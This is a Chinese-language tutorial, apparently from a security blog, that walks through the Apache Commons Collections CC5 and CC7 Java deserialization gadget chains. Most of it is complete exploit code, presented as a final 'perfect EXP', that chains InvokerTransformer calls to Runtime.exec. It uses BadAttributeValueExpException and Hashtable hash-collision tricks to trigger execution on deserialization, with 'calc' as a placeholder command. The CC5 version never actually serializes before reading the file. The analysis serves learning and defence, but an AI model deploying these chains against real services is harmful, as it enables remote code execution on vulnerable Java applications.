cc5分析
老规矩:
先看yso项目
This only works in JDK 8u76 and WITHOUT a security manager.(JDK必须是8u76以下)
调用链如图:

其实就是拼凑cc1的后段

我们到**tiedMapEntry.toString();**来看看能否通过后半部分手动触发toString()进入;
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32
| package cc5; import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.keyvalue.TiedMapEntry; import org.apache.commons.collections.map.LazyMap; import java.util.HashMap; import java.util.Map;
public class exp { public static void main(String[] args) throws Exception { Transformer[] transformers = new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}), new InvokerTransformer("invoke" , new Class[]{Object.class, Object[].class}, new Object[]{null, null}), new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}) }; ChainedTransformer chainedTransformer = new ChainedTransformer(transformers); HashMap<Object, Object> hashMap = new HashMap<>(); Map decorateMap = LazyMap.decorate(hashMap, chainedTransformer); TiedMapEntry tiedMapEntry = new TiedMapEntry(decorateMap, "value"); tiedMapEntry.toString(); } }
|
调用堆栈:

证明上述链子可行!
然后我们开始cc5,BadAttributeValueExpException 类中的readObject方法中有toString方法
该类是可以直接反序列化,但是无法直接对val变量进行赋值修改操作
那直接上反射!
最终EXP:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57
| package cc5; import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.keyvalue.TiedMapEntry; import org.apache.commons.collections.map.LazyMap; import javax.management.BadAttributeValueExpException; import java.io.*; import java.lang.reflect.Field; import java.util.HashMap; import java.util.Map;
public class exp { public static void main(String[] args) throws Exception { Transformer[] transformers = new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}), new InvokerTransformer("invoke" , new Class[]{Object.class, Object[].class}, new Object[]{null, null}), new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}) }; ChainedTransformer chainedTransformer = new ChainedTransformer(transformers); HashMap<Object, Object> hashMap = new HashMap<>(); Map decorateMap = LazyMap.decorate(hashMap, chainedTransformer); TiedMapEntry tiedMapEntry = new TiedMapEntry(decorateMap, "value");
BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null); Class<?> clazz = Class.forName("javax.management.BadAttributeValueExpException"); Field field = clazz.getDeclaredField("val"); field.setAccessible(true); field.set(badAttributeValueExpException, tiedMapEntry); unserialize("ser.bin"); } public static void serialize(Object obj) throws IOException { ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("./ser.bin")); oos.writeObject(obj); } public static Object unserialize(String Filename) throws IOException, ClassNotFoundException { ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename)); Object obj = ois.readObject(); return obj; } }
|
好啦,倒数第二条cc链咯.快结束咧
不要休息,接下来立马赶到战场的是cc7
版本限制好像就cc<=3.2即可
yso给的调用链:



比较难get到的点就是前面的readObject入口类,这也算是前辈寻找漏洞的智慧体现吧,不论是通过何种方法找到的,总归让后人看起来是很神奇的,orz
但其实我们只要会codeql之后是很容易找出另外的链子的,当然存在的包依赖越多,可扩展性的链子就越大!
后续等我精通codeql之后再将思路分享一下给大家~
java.util.Hashtable.readObject->java.util.Hashtable.reconstitutionPut-> org.apache.commons.collections.map.AbstractMapDecorator.equals-> java.util.AbstractMap.equals->org.apache.commons.collections.map.LazyMap.get …然后就接上了
浅浅分析下

But这个AbstractMap是抽象类,无法直接序列化,所以我们不能以它为起点,得再找一个调用equals方法并且该方法最好是能在readObject中被触发的类(感觉很合适用codeql去查找啊).
java.util.Hashtable中的equals方法刚好可以符合上述条件,所以此类应该就是cc7的起点了~

这里要想进入到e.key.equals(key),先必须要使得e.hash==hash,不然就会提前跳出if不会走到后续的equals方法调用.
然后看到这个key还是readObject来的,那么肯定就可控了

编写EXP
我们开始写EXP试试看:
1 2 3
| Map decorateMap = LazyMap.decorate(hashMap, chainedTransformer); Hashtable hashtable = new Hashtable(); hashtable.put(decorateMap, "Drunkbaby");
|
可惜并不能成功,发现在此处就被干掉了

难点1: 解决hashCode的问题
这里需要满足以下条件:
tab[index] !=null,然后存在两个key的hash相等这要求map里的数量肯定得大于等于2…
再来试试:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48
| package cc7; import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.map.LazyMap; import ser.util; import java.util.HashMap; import java.util.Hashtable; import java.util.Map; public class demo1 { public static void main(String[] args) throws Exception { Transformer[] transformers = new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}), new InvokerTransformer("invoke" , new Class[]{Object.class, Object[].class}, new Object[]{null, null}), new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}) }; ChainedTransformer chainedTransformer = new ChainedTransformer(transformers); HashMap<Object, Object> hashMap = new HashMap<>(); Map decorateMap = LazyMap.decorate(hashMap, chainedTransformer); decorateMap.put("aa", 1);
HashMap<Object, Object> hashMap2 = new HashMap<>(); Map decorateMap2 = LazyMap.decorate(hashMap2, chainedTransformer); decorateMap2.put("bb", 1); Hashtable hashtable = new Hashtable(); hashtable.put(decorateMap, 1); hashtable.put(decorateMap2, 1); util.serialize(hashtable); util.unserialize(); } }
|
还是不成功,原因在于这两hashCode不等,所以直接短路退出了,不会到equals那个方法去

这里有一个trick:hashCode的碰撞
我们需要让两个键值对的key不能相等,但是他们的hashCode必须相等.

gpt给的解释:

貌似是这个计算公式有问题…,所以很容易的造成碰撞.
所以我们利用这两个做文章,就可成功满足hashCode相等这个条件了.
是弹计算器了,but不是我们想要的计算器.

难点2: 保证稳定的触发
究其原因还是在于Map的put操作时会直接触发equals方法调用栈如图:

想想有啥好法子,我们可以先传个空transformers进去,put操作完我们再还魂,这样序列化数据还是正常的.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53
| package cc7; import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.map.LazyMap; import ser.util; import java.lang.reflect.Field; import java.util.HashMap; import java.util.Hashtable; import java.util.Map; public class exp { public static void main(String[] args) throws Exception { Transformer[] transformers = new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}), new InvokerTransformer("invoke" , new Class[]{Object.class, Object[].class}, new Object[]{null, null}), new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}) }; ChainedTransformer chainedTransformer = new ChainedTransformer(new Transformer[]{}); HashMap<Object, Object> hashMap = new HashMap<>(); Map decorateMap = LazyMap.decorate(hashMap, chainedTransformer); decorateMap.put("yy", 1);
HashMap<Object, Object> hashMap2 = new HashMap<>(); Map decorateMap2 = LazyMap.decorate(hashMap2, chainedTransformer); decorateMap2.put("zZ", 1); Hashtable hashtable = new Hashtable(); hashtable.put(decorateMap, 1); hashtable.put(decorateMap2, 1); Class<ChainedTransformer> chainedTransformerClass = ChainedTransformer.class; Field field = chainedTransformerClass.getDeclaredField("iTransformers"); field.setAccessible(true); field.set(chainedTransformer, transformers);
util.unserialize(); } }
|
But: 还是失败了.
原因还是这个put操作中的equals方法会更改键值对我们打个断点去看看到底干了啥…


发现最终的"zZ" map的key被改变了.
多了一组yy键值对,我们将其移除即可!
最终完美EXP:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55
| package cc7; import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.map.LazyMap; import ser.util; import java.lang.reflect.Field; import java.util.HashMap; import java.util.Hashtable; import java.util.Map; public class exp { public static void main(String[] args) throws Exception { Transformer[] transformers = new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}), new InvokerTransformer("invoke" , new Class[]{Object.class, Object[].class}, new Object[]{null, null}), new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}) }; ChainedTransformer chainedTransformer = new ChainedTransformer(new Transformer[]{}); HashMap<Object, Object> hashMap = new HashMap<>(); Map decorateMap = LazyMap.decorate(hashMap, chainedTransformer); decorateMap.put("yy", 1);
HashMap<Object, Object> hashMap2 = new HashMap<>(); Map decorateMap2 = LazyMap.decorate(hashMap2, chainedTransformer); decorateMap2.put("zZ", 1); Hashtable hashtable = new Hashtable(); hashtable.put(decorateMap, 1); hashtable.put(decorateMap2, 1); decorateMap2.remove("yy"); Class<ChainedTransformer> chainedTransformerClass = ChainedTransformer.class; Field field = chainedTransformerClass.getDeclaredField("iTransformers"); field.setAccessible(true); field.set(chainedTransformer, transformers);
util.serialize(hashtable); util.unserialize(); } }
|
成功!

最终调用栈:

cc链完结撒花咧